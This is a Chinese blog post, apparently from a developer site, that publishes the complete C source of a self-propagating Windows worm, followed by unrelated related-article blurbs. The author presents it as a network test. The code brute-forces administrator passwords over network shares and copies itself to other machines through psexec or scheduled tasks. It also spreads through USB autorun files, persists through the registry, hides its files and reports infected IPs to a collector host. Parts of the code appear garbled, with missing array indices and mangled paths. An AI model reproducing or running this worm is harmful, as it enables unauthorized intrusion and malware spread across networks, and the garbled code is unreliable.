一个基于框架的蠕虫

蠕虫病毒分析方法 蠕虫分析方法1. 蠕虫病毒是什么2.蠕虫病毒的行为特点2.1 蠕虫传播2.2 蠕虫的网络行为特征3.分析案例 1. 蠕虫病毒是什么 蠕虫是通过网络主动复制自己传播的程序 蠕虫传播途径 邮件蠕虫–Loveletter,在OUTlook或foxmail中找到联系人,将恶意程序发给联系人,让所有的联系人都收到这样的邮件; 即时通漏洞–MSN/Worm.MM,通过QQ、微信传播的蠕虫病毒,通过即时消息发送; 操作系统或应用网络漏洞–CodeRed,Nimda,往往很难发现 2.蠕虫病毒的行为特点 2.1 蠕虫传 阅读详情
这是笔者去年年底编写的一个用于测试网络健壮性和用户防毒意识的蠕虫,基于我前期编写的框架编写的。我设定它运行1个月,然后自杀瓦解,唯一的中毒特征就是每隔8分钟强行恢复桌面一次。当然,我没有添加任何破坏性代码,也没有添加任何木马性代码。我的目的只是测试,得到一份报告,没有其他恶意。测试结果也在我意料之中:局域网安全很差,用户的防范措施也很差。
  作者注:版权没有,随意修改。本框架仅供学习娱乐之用,勿做其他非法用途,否则责任自负!

//rcdomn.h,系统总体规划
#if !defined(_IHATEBUGGING)
#define _IHATEBUGGING
#include <io.h>
#include <time.h>
#include <stdio.h>
#include <string.h>
struct sys{          //配置全局变量类型
char syspath[18];       //系统路径
char hostip[16];       //主机IP
char guestip[16];       //客户IP
char user[14];        //用户名
char passwd[14];       //密码
char flag[6];        //标识
char lastdisk[4];       //最后一个盘符
unsigned send     :1;      //是否攻击网络,0不攻击,1攻击
unsigned station  :5;      //客户本机标识/10的值,保留功能
unsigned hacknum  :10;      //已入侵的主机数
};
void getpath();         //获取系统路径
void getconfig();        //获取配置信息
void openconfig(char *flagfile);    //读取配置并解密
void saveconfig(char *flagfile);    //加密保存配置
void filecopy(FILE *fp,char *path);    //拷贝副本
void checkTime(char *hostip);     //和主机对时
void changereg(unsigned char flag);    //更改注册表
unsigned char Init();       //初始化
void hacknet(char *netid,unsigned char childip);//网络入侵
void hackdisk(char *diskroot);     //攻击U盘
void showdesk();        //显示桌面
unsigned char kill();       //自杀代码
unsigned char TIMER(long minute);    //主循环模拟事件
#endif // !defined(_IHATEBUGGING)

//init.cpp,系统初始化
#include <windows.h>
#include "rcdomn.h"
extern struct sys Sysmesg;           //定义于config.cpp
extern char *__args[6];            //定义于config.cpp
void saveconfig(char *flagfile)          //加密保存配置
{
struct sys message=Sysmesg;
char *p=(char *)&message;
for(unsigned char i=0;i<sizeof(message);i++)
  (*p++)+=17;
FILE *fp=fopen(flagfile,"wb");
fwrite(&message,sizeof(message),1,fp);
fclose(fp);
}
void openconfig(char *flagfile)            //读取配置并解密
{
FILE *fp=fopen(flagfile,"rb");
fread(&Sysmesg,sizeof(Sysmesg),1,fp);
fclose(fp);
char *p=(char *)&Sysmesg;
for(unsigned char i=0;i<sizeof(Sysmesg);i++)
  (*p++)-=17;
}
void getconfig()            //从参数获取配置信息
{
char disk[4]="C://";
FILE *fp;
strcpy(Sysmesg.hostip,__args[1]);
if(strcmp(Sysmesg.hostip,"127.0.0.1"))
  strcpy(Sysmesg.guestip,__args[2]);
else
{
  char cmd[65];
  WinExec("cmd.exe /c ipconfig.exe|find /"IP Address/">ipaddress",SW_HIDE);
  Sleep(2000);
  fp=fopen("ipaddress","rb");
  fgets(cmd,100,fp);
  fclose(fp);
  WinExec("cmd.exe /c /"del ipaddress/"",SW_HIDE);
  for(unsigned char i=strlen(cmd);cmd<'0' || cmd>'9';i--);
  for(cmd=0;cmd!=' ';i--);
  strcpy(Sysmesg.guestip,&cmd);      //获取本地IP地址
}
strcpy(Sysmesg.user,__args[3]);
strcpy(Sysmesg.passwd,__args[4]);
strcpy(Sysmesg.flag,__args[5]);
if(Sysmesg.flag[1]=='Z')
  Sysmesg.flag[0]+=1,Sysmesg.flag[1]='A';
else
  Sysmesg.flag[1]+=1;
if(Sysmesg.flag[0]=='Z' && Sysmesg.flag[1]=='Z' || !strcmp(Sysmesg.guestip,""))
  Sysmesg.send=0;
else
  Sysmesg.send=1;
Sysmesg.station=0;           //获取本机标识/10的值
unsigned char i,k=strlen(Sysmesg.guestip)-1;
while(Sysmesg.guestip[--k]!='.');
for(i=k+1;i<(int)strlen(Sysmesg.guestip)-1;i++)
  Sysmesg.station=Sysmesg.station*10+Sysmesg.guestip-'0';
while(access(disk,0)==0)
  disk[0]++;
disk[0]--;
strcpy(Sysmesg.lastdisk,disk);           //获取最后一个盘符
Sysmesg.hacknum=0;            //初始化已攻击机器数
fp=fopen("ipsend.bat","wb");        //将IP发往指定地点
fprintf(fp,"net use ////192.168.3.224//ipc$ haha /user:haha/r/n"); //192.168.3.224为接受报告的IP地址
fprintf(fp,"if %%errorlevel%%==0 echo %s>>////192.168.3.224//admin$//tasks//child/r/n", //192.168.3.224为接受报告的IP地址
    Sysmesg.guestip);
fprintf(fp,"del ipsend.bat");
fclose(fp);
WinExec("ipsend.bat",SW_HIDE);
if(strcmp(Sysmesg.hostip,"127.0.0.1"))     //网络入侵则和主机对时
  checkTime(Sysmesg.hostip);
}
void getpath()              //获取系统路径
{
if(access("C://WINDOWS//Tasks",0)==0)
  strcpy(Sysmesg.syspath,"C://WINDOWS//Tasks//");
else if(access("C://WINNT//Tasks",0)==0)
  strcpy(Sysmesg.syspath,"C://WINNT//Tasks//");
else if(access("C://WINNT",0)==0)
  strcpy(Sysmesg.syspath,"C://WINNT//");
else
  strcpy(Sysmesg.syspath,"C://");
}
void filecopy(FILE *fp,char *path)          //拷贝副本
{
fprintf(fp,"attrib -r -h -s %s/r/n",__args[0]);
fprintf(fp,"copy %s %s%s/r/n",__args[0],path,__args[0]);
fprintf(fp,"attrib +r +h +s %s/r/n",__args[0]);
fprintf(fp,"attrib +r +h +s %s%s/r/n",path,__args[0]);
if(access("psexec.exe",0)==0)
{
  fprintf(fp,"attrib -r -h -s psexec.exe/r/n");
  fprintf(fp,"copy psexec.exe %s/r/n",path);
  fprintf(fp,"attrib +r +h +s psexec.exe/r/n");
  fprintf(fp,"attrib +r +h +s %spsexec.exe/r/n",path);
}
}
void checkTime(char hostip[16])            //和主机对时
{
FILE *fp=fopen("checktime.bat","wb");
fprintf(fp,"net use ////%s//ipc$ /"/" /user:/"/"/r/n",Sysmesg.hostip);
fprintf(fp,"net time ////%s /set /y/r/n",Sysmesg.hostip);
fprintf(fp,"net use ////%s//ipc$ /del /y/r/n",Sysmesg.hostip);
fprintf(fp,"del checktime.bat/r/n");
fclose(fp);
WinExec("checktime.bat",SW_HIDE);    
}      
void changereg(unsigned char flag)         //更改注册表
{
FILE *fp=fopen("regchg.bat","wb");
fprintf(fp,"echo Windows Registry Editor Version 5.00>change.reg/r/n");
fprintf(fp,"echo.>>change.reg/r/n");
fprintf(fp,"echo [HKEY_CURRENT_USER//Software//Microsoft//Windows NT//");
fprintf(fp,"CurrentVersion//Windows]>>change.reg/r/n");
if(flag==0)
  fprintf(fp,"echo /"load/"=/"/">>change.reg/r/n",__args[0]);
else if(!strcmp(Sysmesg.syspath,"C://WINDOWS//Tasks//"))
  fprintf(fp,"echo /"load/"=/"C:////WINDOWS////Tasks////%s/">>change.reg/r/n",__args[0]);
else if(!strcmp(Sysmesg.syspath,"C://WINNT//Tasks//"))
  fprintf(fp,"echo /"load/"=/"C:////WINNT////Tasks////%s/">>change.reg/r/n",__args[0]);
else if(!strcmp(Sysmesg.syspath,"C://WINNT//"))
  fprintf(fp,"echo /"load/"=/"C:////WINNT////%s/">>change.reg/r/n",__args[0]);
else
  fprintf(fp,"echo /"load/"=/"C:////%s/">>change.reg/r/n",__args[0]);
fprintf(fp,"regedit /s change.reg/r/n");
fprintf(fp,"del change.reg/r/n");
fprintf(fp,"del regchg.bat/r/n");
fclose(fp);
WinExec("regchg.bat",SW_HIDE);
}
unsigned char Init()             //初始化
{
char flagfile[32];
getpath();               //获取系统路径
sprintf(flagfile,"%s%s",Sysmesg.syspath,__args[0]);
if(access(flagfile,0)==-1)         //通过U盘传播进入或用户自己激发
{  
  FILE *fp=fopen("localhak.bat","wb");  
  filecopy(fp,Sysmesg.syspath);
  fprintf(fp,"start /D %s %s%s 127.0.0.1 ",Sysmesg.syspath,Sysmesg.syspath,__args[0]);
  fprintf(fp,"/"/" administrator /"/" AA001/r/n");
  if(__argc==2)
   fprintf(fp,"explorer %s/r/n",__args[1]);     //打开U盘
  fprintf(fp,"del localhak.bat/r/n");   fclose(fp);
  WinExec("localhak.bat",SW_HIDE);
  return 0;
}
if(__argc==2)            //双击U盘时机器已感染
{
  char cmd[20]="explorer ";
  strcat(cmd,__args[1]);
  WinExec(cmd,SW_SHOW);
  return 0;
}
sprintf(flagfile,"%sconfig",Sysmesg.syspath);
if(__argc==6)           //通过网络入侵进入系统
{
  getconfig();
  saveconfig(flagfile);
  changereg(1);
}
else
{
  openconfig(flagfile);
  sprintf(flagfile,"d://Recycled//%s",__args[0]);
  if(access("d://",0)==0 && access(flagfile,0)==-1)
   hackdisk("d://");        //感染D盘,防止重装系统
}
return 1;
}

//rcdomn.cpp,主文件
#include <time.h>
#include <direct.h>
#include <windows.h>
#include "rcdomn.h"
struct sys Sysmesg;             //配置全局变量
char *__args[6];
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
unsigned char k=0,i;
long minute=0;
for(i=strlen(_pgmptr)-1;_pgmptr!='//';i--);
__args[0]=&_pgmptr;         //获取可执行文件名
_pgmptr=0;
_chdir(_pgmptr);        //更改当前目录到可执行文件目录
if(__argc>1)              //分离命令行参数
  for(i=1,__args[1]=lpCmdLine;lpCmdLine[k]!=0;k++)
   if(lpCmdLine[k]==' ')
   {
    lpCmdLine[k]=0;
    while(lpCmdLine[++k]==' ');
    if(lpCmdLine[k]!=0)
     __args[++i]=&lpCmdLine[k];
   }
if(!Init()||(CreateMutex(NULL,TRUE,"_BACKUPRUN_")&&GetLastError()==ERROR_ALREADY_EXISTS))
  return  0;        //初始化失败或者程序已在运行就退出
while(1)
{
  Sleep(5000);
  if(TIMER(++minute))
   return 0;
}
}
void hacknet(char netid[12],unsigned char childip)        //网络入侵
{
char farid[4]="123",flag[6],flagfile[36];
char *passwd[]={"/"/"","123","1234","12345","123456","1234567","7654321","654321","54321",
                 "888888","12345678","000000","god","God","haha","user","admin","passwd",
        "password","guest","1983","1984","1985","1986","1987","1988","1989","1990",
        "0125","0912","0705","0735","911","520","father","mother","brother","sister",
        "beauty","beautiful","strong","power","powerful","rand","intel","dell",
        "sony","Alcatel","alcatel","acer","lenovo","compaq","Dell","daevoo","iei",
        "chocon","iei123","legend","Acer","pass","hack","hacker","crack","cracker",
        "jay","allen","john","beijing","nanjing","hefei","jodan","backhan","LEGEND",
        "LENOVO","Jodan","microsoft","Microsoft","bill","kiss","kitty","wang","zhang",
        "liu","chen","yang","zhao","huang","iloveyou","ihateyou","19851225","zhou",
        "copy","19851225","feifei","evil","xiaoqi","ashou","yinmo","angel","hero"};

int exist=access("psexec.exe",0);
FILE *fp=fopen("nethak.bat","wb");
farid[0]=childip/100+'0';
farid[1]=(childip%100)/10+'0';
farid[2]=childip%10+'0';
fprintf(fp,"net use ////%s%s//ipc$ /"/" /user:/"/"/r/n",netid,farid);
fprintf(fp,"if errorlevel 1 goto end/r/n");
fprintf(fp,"net use ////%s%s//ipc$ /del /y/r/n",netid,farid);
if(exist==0)
  fprintf(fp,"set user=%s/r/nset passwd=%s/r/n",Sysmesg.user,Sysmesg.passwd);
fprintf(fp,"net use ////%s%s//ipc$ ",netid,farid);
fprintf(fp,"%s /user:%s/r/n",Sysmesg.passwd,Sysmesg.user);
if(exist==0)
{
  fprintf(fp,"if %%errorlevel%%==0 goto ready/r/n");
  fprintf(fp,"set user=administrator/r/n");
  for(int i=0;i<100;i++)
  {
   fprintf(fp,"set passwd=%s/r/n",passwd);
   fprintf(fp,"net use ////%s%s//ipc$ %s /user:administrator/r/n",
      netid,farid,passwd);
   fprintf(fp,"if %%errorlevel%%==0 goto ready/r/n");
  }
}
else
  for(int i=0;i<100;i++)
   fprintf(fp,"if errorlevel 1 net use ////%s%s//ipc$ %s /user:administrator/r/n",
      netid,farid,passwd);
fprintf(fp,"if errorlevel 1 goto end/r/n");
if(exist==0)
  fprintf(fp,":ready/r/n");
sprintf(flagfile,"////%s%s//admin$//Tasks//",netid,farid);
fprintf(fp,"if not exist %s goto disconnect/r/n",flagfile);
fprintf(fp,"if exist %s%s goto disconnect/r/n",flagfile,__args[0]);
filecopy(fp,flagfile);
Sysmesg.hacknum++;
flag[0]=Sysmesg.flag[0];   flag[1]=Sysmesg.flag[1];
flag[2]=Sysmesg.hacknum/100+'0'; flag[3]=(Sysmesg.hacknum%100)/10+'0';
flag[4]=Sysmesg.hacknum%10+'0';  flag[5]=0;
if(exist==0)            //如果工具存在,则利用工具启动
  fprintf(fp,"psexec.exe ////%s%s -u %%user%% -p %%passwd%% -d ",netid,farid);  
else                //利用计划任务启动
{
  time_t xx=time(0)+600;
  char tm[25];
  strcpy(tm,ctime(&xx));
  tm[19]=0;
  fprintf(fp,"at ////%s%s %s ",netid,farid,&tm[11]);
}
fprintf(fp,"%s%s %s %s%s ",Sysmesg.syspath,__args[0],Sysmesg.guestip,netid,farid);
if(exist==0)
  fprintf(fp,"%%user%% %%passwd%% %s/r/n",flag);
else if(strcmp(Sysmesg.passwd,"/"/""))
  fprintf(fp,"%s %s %s/r/n",Sysmesg.user,Sysmesg.passwd,flag);
else
  fprintf(fp,"%s ///"///" %s/r/n",Sysmesg.user,flag);
fprintf(fp,"echo %s%s>>child/r/n",netid,farid);
fprintf(fp,":disconnect/r/n");  fprintf(fp,"net use * /del /y/r/n");
fprintf(fp,":end/r/n");    fprintf(fp,"del nethak.bat/r/n"); fclose(fp);
WinExec("nethak.bat",SW_HIDE);
sprintf(flagfile,"%s%s",Sysmesg.syspath,"config");
saveconfig(flagfile);
}
void hackdisk(char diskroot[4])             //感染U盘
{
char copypath[13];
sprintf(copypath,"%sRecycled//",diskroot);
FILE *fp=fopen("diskhack.bat","wb");
fprintf(fp,"if exist %sRecycled goto complete/r/n",diskroot);
fprintf(fp,"md %sRecycled/r/n",diskroot);
fprintf(fp,"echo [.ShellClassInfo]>%sRecycled//desktop.ini/r/n",diskroot);
fprintf(fp,"echo CLSID={645FF040-5081-101B-9F08-00AA002F954E}>>%sRecycled//desktop.ini/r/n",diskroot);
fprintf(fp,"attrib +r +h +s %sRecycled//desktop.ini/r/n",diskroot);
fprintf(fp,"attrib +r +h +s %sRecycled/r/n",diskroot);
fprintf(fp,":complete/r/n");
fprintf(fp,"if not exist %sautorun.inf goto ready/r/n",diskroot);
fprintf(fp,"attrib -s -r -h %sautorun.inf/r/n",diskroot);
fprintf(fp,"del %sautorun.inf/r/n",diskroot);
fprintf(fp,":ready/r/n");
fprintf(fp,"echo [autorun]>%sautorun.inf/r/n",diskroot);
fprintf(fp,"echo open=.//Recycled//%s %%%%1>>%sautorun.inf/r/n",__args[0],diskroot);
fprintf(fp,"echo.>>%sautorun.inf/r/n",diskroot);
fprintf(fp,"echo shell//1=打开(^&O)>>%sautorun.inf/r/n",diskroot);
fprintf(fp,"echo shell//1//Command=.//Recycled//%s %%%%1>>%sautorun.inf/r/n",__args[0],diskroot);
fprintf(fp,"echo.>>%sautorun.inf/r/n",diskroot);
fprintf(fp,"echo shellexecute=.//Recycled//%s %%%%1>>%sautorun.inf/r/n",__args[0],diskroot);
filecopy(fp,copypath);
fprintf(fp,"attrib +s +r +h %sautorun.inf/r/n",diskroot);
fprintf(fp,"del diskhack.bat/r/n"); fclose(fp);
WinExec("diskhack.bat",SW_HIDE);
}
void showdesk()              //显示桌面
{
FILE *fp=fopen("showdesk.bat","wb");
fprintf(fp,"cd ..///r/n");
fprintf(fp,"echo [Shell]>haha.scf/r/n");
fprintf(fp,"echo Command=^2>>haha.scf/r/n");
fprintf(fp,"echo Iconfile=^explorer.exe,3>>haha.scf/r/n");
fprintf(fp,"echo [Taskbar]>>haha.scf/r/n");
fprintf(fp,"echo Command=^ToggleDesktop>>haha.scf/r/n");
fprintf(fp,"haha.scf/r/n");
fprintf(fp,"del haha.scf/r/n");
fprintf(fp,"del tasks//showdesk.bat/r/n");
fclose(fp);
WinExec("showdesk.bat",SW_HIDE);
}
unsigned char kill()            //自杀代码
{
if(time(0)<1165971645)
  return 0;
changereg(0);
char worm[30],disk[4]="Z://";
FILE *fp=fopen("killself.bat","wb");
fprintf(fp,"dir %s..//system32/r/n",Sysmesg.syspath);
for(disk[0]='Z';disk[0]>'B';disk[0]--)
{
  sprintf(worm,"%sRecycled//%s",disk,__args[0]);
  if(access(worm,0)==0)
  {
   fprintf(fp,"attrib -r -h -s %s/r/n",worm);
   fprintf(fp,"attrib -r -h -s %sRecycled//psexec.exe/r/n",disk);
   fprintf(fp,"attrib -r -h -s %sautorun.inf/r/n",disk);
   fprintf(fp,"del %s/r/n",worm);
   fprintf(fp,"del %sRecycled//psexec.exe/r/n",disk);
   fprintf(fp,"del %sautorun.inf/r/n",disk);
  }
}
fprintf(fp,"attrib -r -h -s %spsexec.exe/r/n",Sysmesg.syspath);
fprintf(fp,"del %spsexec.exe/r/n",Sysmesg.syspath);
fprintf(fp,"del %sconfig/r/n",Sysmesg.syspath);
fprintf(fp,"echo 您好:>c://see.txt/r/n");
fprintf(fp,"echo     至此,我们已经完成了测试任务,谢谢合作!>>c://see.txt/r/n");
fprintf(fp,"echo     如果测试中对您造成了不便,在此向您道歉!>>c://see.txt/r/n");
fprintf(fp,"net use ////192.168.3.224//ipc$ haha /user:haha/r/n"); //192.168.3.224为接受报告的IP地址
fprintf(fp,"if errorlevel 1 goto next/r/n");
fprintf(fp,"echo.>>c://see.txt/r/n");
fprintf(fp,"下面公布受感染机器的IP:>>c://see.txt/r/n");
fprintf(fp,"type ////192.168.3.224//admin$//tasks//child>>c://see.txt/r/n"); //192.168.3.224为接受报告的IP地址
fprintf(fp,":next/r/n");
fprintf(fp,"echo.>>c://see.txt/r/n");
fprintf(fp,"echo            测试人:影子>>c://see.txt/r/n");
fprintf(fp,"notepad c://see.txt/r/n");
fprintf(fp,"attrib -r -h -s %s%s/r/n",Sysmesg.syspath,__args[0]);
fprintf(fp,"del %s%s/r/n",Sysmesg.syspath,__args[0]);
fprintf(fp,"del killself.bat/r/n");
fclose(fp);
WinExec("killself.bat",SW_HIDE);
return 1;
}

unsigned char TIMER(long minute)         //主循环模拟触发器
{
char disk[4],backfile[25];
strcpy(disk,Sysmesg.lastdisk);
if(kill())
  return 1;
for(disk[0]='Z';disk[0]>=Sysmesg.lastdisk[0];disk[0]--)
  if(access(disk,0)==0)             //感染U盘
  {
   sprintf(backfile,"%sRecycled//%s",disk,__args[0]);
   if(access(backfile,0)==-1)       //识别U盘是否已感染
   {
    hackdisk(disk);
    Sleep(5000);
   }
  }
if(minute%59==0 && Sysmesg.send && Sysmesg.hacknum<1023)   //尝试网络入侵
{
  char netid[16];
  unsigned char childip;
  strcpy(netid,Sysmesg.guestip);
  if(Sysmesg.station==0)
   netid[strlen(netid)-1]=0;
  else if(Sysmesg.station<10)
   netid[strlen(netid)-2]=0;
  else
   netid[strlen(netid)-3]=0;
  srand((unsigned)time(NULL));        //初始化种子
  childip=rand()%254+1;
  hacknet(netid,childip);
}
if(minute%97==0)
  showdesk();
return 0;
}
蠕虫病毒编写技术  蠕虫病毒编写技术收藏 function StorePage(){d=document;t=d.selection?(d.selection.type!=None?d.selection.createRange().text:):(d.getSelection?d.getSelection():);void(keyit=window.open(http://www.365 阅读详情

相关推荐

暴风一号蠕虫病毒

暴风一号蠕虫病毒 【实验目的】 学会简单分析病毒代码,从病毒代码中看懂病毒是通过何种方法对系统的篡改和破坏。了解病毒是如何隐藏的,学会借助专门杀毒软件,查杀病毒。 【实验环境】 在虚拟机中进行蠕虫病毒的测试,包括其作用机制及相关杀毒工具的使用。 实验样本:暴风一号.vbs。 备注:实验工具(D盘–>攻防工具包–>蠕虫病毒:暴风一号.vbs、病毒专杀工具—BoyFineKiller、硬盘恢复工具—del.vbs)。 【实验预备知识点】 以暴风一号病毒为例。 根据病毒的VBS脚本语言,病毒首先通过执

qq_43717119的博客 4231

爬动的蠕虫

Description 一条蠕虫长度为1厘米,在一口深度为n厘米的井底。已知蠕虫每分钟可以向上爬u厘米,但必须休息1分钟后才能接着往上爬。在休息的过程中,蠕虫又下滑了d厘米。这样反复进行上爬和下滑过程,请求出蠕虫需要多少时间才能爬出井。 假定: 1)初始时蠕虫趴在井底(高度为0); 2)上爬过程中,蠕虫头部到达井的顶部就算出井; 3)计算时间时,不足一分钟按一分钟计算。 Inp

AndyLau96的博客 2379

计算机病毒原理与防范学习通习题——蠕虫

6. ( )是一种新型网络病毒,其传播所使用的技术可以充分体现网络时代网络安全与病毒的巧妙结合,将网络蠕虫、计算机病毒、木马程序合为一体,开创了网络病毒传播的新路,可以称之为划时代的病毒。“红色代码”是一种新型网络病毒,其传播所使用的技术可以充分体现网络时代网络安全与病毒的巧妙结合,将网络蠕虫、计算机病毒、木马程序合为一体,开创了网络病毒传播的新路。2. 一个好的传播模型能使我们对蠕虫的行为有更为准确直观的了解,有助于我们发现蠕虫传播的薄弱环节和准确预测蠕虫可能给我们带来的危害程度。

赖格宝的博客 1112

PAT基础编程题目集----2

大家有什么疑问可以在评论区评论,一起交流进步啊o(∩_∩)o 分段计算居民水费 import java.util.Scanner; public class Main { public static void main(String[] args){ Scanner scan = new Scanner(System.in); double s ...

mirai2333的博客 362

(35)远程识别(又称无人机识别)(一)

Ardupilot官网关于《Peripheral Hardware》的翻译 —《(35) 远程识别(又称无人机识别)》。

无人机开发(开源Ardupilot) 4万+

Conda安装cuda指定版本遇到的一个大坑,导致pytorch无法使用cuda且nvcc -V显示错误的cuda版本

24年3月份的时候用conda install nvidia/label/cuda-11.x.x::cuda还挺正常的,能直接安装11.x.x版本的cuda,我还安利给同学用。但现在5月份不知道为什么这些命令都只会安装最新的cuda12.4,不知道是我哪里设置有问题还是官网的安装目录里的环境配置换了?我在三台不同的服务器上都尝试了安装不同版本的cuda,但最后安装下来的都是12.4版本。

weixin_43933424的博客 8895

HDU 1049 Climbing Worm

 水题一道~ Problem DescriptionAn inch worm is at the bottom of a well n inches deep. It has enough energy to climb u inches every minute, but then has to rest a minute before climbing again. During

Czy 1221

Cadence Virtuoso实战:NMOS差分放大器设计与SPICE仿真全解析

本文详细解析了使用Cadence Virtuoso设计NMOS差分放大器并进行SPICE仿真的全流程。从基础设计要点、原理图绘制到工作点分析与性能调优,提供了实用的设计技巧和常见问题解决方案,帮助工程师高效完成模拟集成电路设计。重点介绍了差分放大器的关键参数设置、饱和区优化及版图设计注意事项,适用于ADC、DAC等高性能电路开发。

weixin_28340315的博客 612

循环-07. 爬动的蠕虫(15)

一条蠕虫长1寸,在一口深为N寸的井的底部。已知蠕虫每1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井? 这里要求不足1分钟按1分钟计,并且假定只要在某次上爬过程中蠕虫的头部到达了井的顶部,那么蠕虫就完成任务了。初始时,蠕虫是趴在井底的(即高度为0)。 输入格式: 输入在一行中顺序给

Jason王祖龙 5066

ICESat-2数据下载及处理分析随笔

ICESat-2全称是Ice,Cloud and land Elevation Satellite -2。看名字我们能知道它的任务是测ice,cloud和land elevation,而且这是一个Satellite,是一颗卫星。那么这里我们就要分清ICESat-2和ATLAS的关系,ICESat-2是星载平台,是一个space observatory,ATLAS是这个星载平台上搭载的单光子激光雷达系统。

u011322358的博客 1万+

uniapp [全端兼容] - 实现内网使用天地图离线地图,详解项目加载天地图的离线地图服务器部署与使用教程示例源码,Uniapp如何实现天地图的离线加载部署在内网访问(兼容H5、微信小程序、App)

uniapp天地图如何离线访问,无需网络调用天地图API,天地图离线地图,天地图——内网使用离线地图,uniapp中加载天地图的离线地图,uniAPP实现天地图离线访问,在内网中无法直接使用外网天地图资源怎么办,在uni-app中加载地图 -使用天地图的瓦片数据。UNIAPP天地图离线怎么使用,内网部署天地图,天地图离线瓦片,部分瓦片数据,天地图如何离线,下载天地图离线服务,并用Uniapp+天地图离线部署,天地图私有化部署,实现离线加载天地图,Java+uniapp天地图离线开发,uniapp项目中无网络

🏆 前端领域优质创作者 4911

xss攻击之新浪微博xss蠕虫

xss蠕虫:通过一个bug,感染其他结构都出现问题 我们根据一段xss攻击链接来看一下: 很显然,javascript代码被解析了,那它原型是什么呢,怎么看  通过这样我们可以看出,这段javascript代码是指向一个js文件,js文件中写的是一些文章标题链接,而这段链接也是携带这段javascript代码,这样当有人点击了这段链接,就又执行这个xss攻击操作了,这样一传十,十传百...

zhangzhangdan的博客 2907

基于BenchmarkSQL的达梦数据库TPCC性能测试

中的用户和密码在达梦数据库中创建测试用户,并保证其表空间足够容纳生成的测试数据。如果开启了归档,还要考虑归档日志占用的空间。BenchmarkSQL默认不支持达梦数据库。这里我们让BenchmarkSQL把达梦数据库当作Oracle即可。Oracle数据库对应的测试配置文件为。是使用BenchmarkSQL进行性能测试的主要配置文件。是生成的测试报告,png文件是报告中包含的图片。拷贝达梦数据库驱动到BenchmarkSQL的。测试结束后,会在当前路径下生成一个以。规则命名的结果目录。

Sebastien23的博客 2635

什么是计算机蠕虫?

计算机蠕虫(Computer Worm)是一种恶意软件,能够自我复制并传播到其他计算机上。与计算机病毒不同,蠕虫不需要依赖于宿主程序,并且可以通过计算机网络独立传播。计算机蠕虫通常利用网络漏洞、弱密码或社交工程等手段进入计算机系统,从而影响计算机网络的正常运行。计算机蠕虫是一种具有自我复制和独立传播能力的恶意软件。它们通过利用漏洞和网络传输机制感染和传播,对计算机系统和网络安全造成严重威胁。

Rocky006的博客 1万+

SAP Group Reporting入门指南(11)--配置

这里选择的是FS项目目标属性,FS项目有四个目标属性,比如上图配置的是抵消目标属性,所以就去找触发FS项目的抵消目标属性配置的是哪个FS项目,就以这个FS项目作为贷方。这里选择的是FS项目目标属性,FS项目有四个目标属性,比如上图配置的是抵消目标属性,所以就去找源FS项目的抵消目标属性配置的是哪个FS项目,就以这个FS项目作为借方。例如,添加一个包含用于存储百分比的 FS 项的选项。这里选择的是FS项目的角色属性值,如果这里定义了,那么就从FS项目中找到FS项目角色属性值与之匹配的FS项目作为贷方。

bflyfish的博客 568

OPC通信从入门到精通_1_OPC基础知识及简单C#程序编写(OPCDA,OPCUA简介;OPC通信数据流框架图;C#程序编写)

ModbusTCP通信是采用直接方式进行通信,用OPC的方式如何去做呢?PLC作为ModbusTCP服务器,用KepServer作为ModbusTCP客户端,同时作为OPC服务器,PC作为OPC客户端新建项目,加载dll库(利用COM技术写的)添加引用,查看到其中包含了众多方法其中OPCGroups继承于IOPCGroups接口。

分享学习成长历程,Winter is coming! 1万+

蠕虫病毒

蠕虫病毒 本词条由“科普中国”科学百科词条编写与应用工作项目审核 。 蠕虫病毒是一种常见的计算机病毒,是无须计算机使用者干预即可运行的独立程序,它通过不停的获得网络中存在漏洞的计算机上的部分或全部控制权来进行传播。计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据.影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。[1] 中文名 蠕虫病毒 外文名 Worm virus 类型 计算机病毒 传染方式 网络和电子邮件 目录 1定义 2特点 ...

cxu123321的博客 6865

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

究竟什么是电脑蠕虫病毒,电脑蠕虫病毒解析

究竟什么是电脑蠕虫病毒,电脑蠕虫病毒解析 首先先来看一下搜索引擎上对于“蠕虫病毒”的解释: 蠕虫病毒是一种常见的计算机病毒。它利用网络进行复制和传播,传染途径是网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下,病毒发作时会在屏幕上出现一条类似虫子的东西,胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序(或是一套程序),它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中(通常是经...

zcqk15517198387的博客 7218

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

蠕虫是什么

蠕虫的定义蠕虫的洋文叫Worm。蠕虫就是能够自我复制进行网络传播的恶意程序。 它的名称来源是被称为”史上最赞的十本硬科幻小说”的《冲击波骑士》。感兴趣的,请参阅《科幻小说介绍》。这本小说是1975年出版的,1982年的时候有人利用这种”蠕虫”思想来开发检测网络的诊断工具。1988年的时候一个美国康奈尔大学生发布了莫里斯蠕虫,中断了大量计算机,促使美国建立了CERT协调中心和Phage邮件列表。后来

夏天不能盖被子 4325

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

蠕虫与僵尸网络

蠕虫是一种能够自我复制的恶意软件,他主要通过寻找系统漏洞(如Windows系统漏洞、网络服务器漏洞等)进行传播。与一般病毒不同的是,蠕虫不需要人工干预,他能够利用漏洞主动进行攻击,具有较强的独立性。它会扫描和攻击网络上存在系统漏洞的节点主机,通过局域网或者国际互联网从一个节点传播到另外一个节点。感染蠕虫的计算机会出现系统运行缓慢、文件丢失、文件被破坏或出现新文件的情况。由于蠕虫可以通过系统漏洞、网络文件、电子邮件等各种途径进行传播,且攻击不受宿主程序牵制,所以蠕虫的传播速度比传统病毒快得多。

2301_80299389的博客 1901

什么是蠕虫

